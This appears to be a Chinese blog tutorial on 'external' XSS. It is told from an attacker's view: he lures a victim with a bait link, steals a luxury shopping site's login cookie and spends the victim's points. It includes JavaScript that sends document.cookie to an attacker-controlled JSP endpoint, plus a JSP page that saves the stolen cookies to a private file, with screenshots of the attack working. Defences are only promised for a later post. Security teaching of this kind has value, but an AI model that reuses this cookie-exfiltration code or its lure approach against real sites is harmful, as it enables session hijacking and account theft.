引入:
上文中我們的例子是研究了來自內部的XSS攻擊,通過輸送一段有害js代碼到受害者的機器,讓其在受害者的域上運行這段有害JS代碼來得到入侵目的。現在我們來看下來自外部的XSS攻擊。
實踐:
下面還是按照慣例,我用白話文來解釋下什麼是來自外部的XSS攻擊。
假設我是攻擊者,A是受害者,我知道A有個習慣,他會經常去某個奢侈品消費網站登入,然後每次登入用他的積分買很多東西,我沒錢,我想通過A的帳號密碼登入同樣的網站,然後用他的積分去買東西給我自己。顯然因為A知道我是受害者,所以我直接問A要帳號密碼,他肯定會警示的,怎麼辦呢?
這時候,我知道A經常在同一機器上登入,然後Cookie資訊會存放在他那台機器的本地,於是,我就想辦法植入一段惡意指令碼在哪個奢侈品網站上,因為A每次登入,它的資訊都會存在Cookie中,然後我的惡意指令碼就會每次從他的Cookie中讀取資訊,然後發送到我自己架設的伺服器上,然後我自己架設的伺服器有一段代碼會吧這個Cookie資訊存放在本地的一個私密的文字檔中,這樣他每次登入,我就能在我本地的文字檔中知道A的Cookie資訊了。當然了,為了觸發那段惡意指令碼,我必須確保A會點擊我要的有惡意指令碼的連結,我肯定會偽裝一下,比如還是最常用的美女圖片。
好,我們開始例子:
首先,我會在自己的磁碟目錄上建立一個文字檔,比如說D:\privateLocation\stealCookieFile.txt
650) this.width=650;" src="http://www.bkjia.com/uploads/allimg/131229/121P22492-0.png" title="25.png" alt="172318549.png" />
這個檔案的作用是專門用來儲存我盜取A的Cookie資訊的。
然後,我就開始偽造一個帶有惡意指令碼的頁面了:
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%><!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"><html><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><title>受害者頁面,這個頁面後台有XSS漏洞</title></head><script type="text/javascript">//建立一個cookiefunction createCookie(username,password){ console.log("invoking createCookie(username,password) method"); //設定cookie的到期時間,假設30天后到期 var expires =new Date(); expires.setTime(expires.getTime()+30*24*3600*1000); var expireInfo="expires="+expires.toUTCString(); document.cookie=username+"="+password+";"+expireInfo; console.log("current cookie:"+document.cookie);}//盜用cookie function stealCookie(){ window.open('http://localhost:8080/XSSDemo/xss_victom2.jsp?cookie='+document.cookie) }</script><body><form method="post"><p><span>使用者名稱:charles,密碼 123456</span><span>假定使用者點擊下面按鈕會觸發建立一個cookie並且存入,點擊更下面一個按鈕會盜用剛建立的cookie</span></p><input type="button" value="點擊按鈕會建立一個新cookie" type="button" value="點擊按鈕會盜用當前的cookie" onclick="stealCookie()"/></form></body></html>
為了簡單起見,假設這個頁面是這個奢侈品網站的頁面,為了類比登入,我提供了2個按鈕,假設點擊第一個按鈕會建立一個目前使用者Cookie或者自動登入就是直接從Cookie中拿取使用者資訊),預設情況下,一般使用者都會去登入頁面的, 所以我這裡也假定預設第一個按鈕使用者肯定會點的,然後第二個按鈕是重點,它的背後會有一段惡意指令碼,來盜取目前使用者的Cookie.
然後在我盜取A的Cookie後,我得吧這個使用者A的Cookie資訊存起來到我的本地,以便下次我可以利用他的資訊進行登入同樣網站來買東西。
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%><%@page import="java.io.FileOutputStream,java.io.File,java.io.IOException" %><!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"><html><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><title>XSS盜用Cookie的Demo</title></head><body><%//首先構造一個路徑,這路徑上的文字檔專門用來存放盜用的cookieString stealCookieFile = "D:/privateLocation/stealCookieFile.txt";out.println("準備存入盜取的cookie資訊到:"+stealCookieFile+"<br>");//擷取提交過來的cookie值String cookie= request.getParameter("cookie");out.println("cookie資訊:"+cookie+"<br>");FileOutputStream fos = new FileOutputStream( new File(stealCookieFile));try{ fos.write(cookie.getBytes());}catch(IOException ex){ out.println("寫入失敗");}finally{ if(fos!=null){ fos.close(); }}%></body></html>
有了上述的1個文字檔和2個JSP代碼之後,我們就可以來Demo了。
首先,我建立了惡意頁面,假定使用者已經登入了,為了類比這種情況,需要使用者點擊第一個按鈕:
650) this.width=650;" src="http://www.bkjia.com/uploads/allimg/131229/121P2ES-1.png" title="26.png" alt="172934449.png" />
從Console看出,已經點擊了第一個按鈕,這時候,其狀態就相當於有一個Cookie: charles=123456,這個資訊存在在A的本地了。
現在,我要誘惑A去點擊第二個按鈕假設是一個美女圖片或者是非常迷人的訊息) ,當A點擊了第二個按鈕之後,他上當了,他的這個Cookie資訊被我正確的拿到並且存放在我的本地檔案中:
650) this.width=650;" src="http://www.bkjia.com/uploads/allimg/131229/121P24Q8-2.png" title="27.png" alt="173134386.png" />
我去檢查本地檔案,果然發現A的Cookie資訊被正確拿到了:
650) this.width=650;" src="http://www.bkjia.com/uploads/allimg/131229/121P24016-3.png" title="28.png" alt="173256367.png" />
總結:
所謂外部的XSS攻擊,其實是通過讓使用者執行一段惡意指令碼,然後這段指令碼會吧敏感資訊偷偷的“偷”出來,然後放入攻擊者的想要的地方,這些敏感資訊可以是Cookie,user-agent或者其他的,反正js能拿到的資訊,這裡都可以,如果攻擊者很惡意,他就可以拿到這些資訊去做一些非法事情。打個不恰當的比方,比如我入侵者)要竊取某個國家受害者)的戰時絕密情報比如Cookie資訊),但是因為他們國家防範措施太好同源策略) ,我沒辦法直接拿到,於是我買通了他們國家某個人比如色情圖片連結),然後約定每當該國家發布情報時候也就是受害者訪問某網站),就把這個情報對應Cookie)丟到某個指定情報交換位置我架設的另外一台伺服器),然後我從那個位置中擷取這個情報從請求對象中擷取Cookie資訊),然後解析它讀取Cookie),並且存放到我自己的情報庫中我本地的私密檔案中)。
關於內部XSS和外部XSS的預防和解決,我會在以後文章中解決。
本文出自 “平行線的凝聚” 部落格,請務必保留此出處http://supercharles888.blog.51cto.com/609344/1339921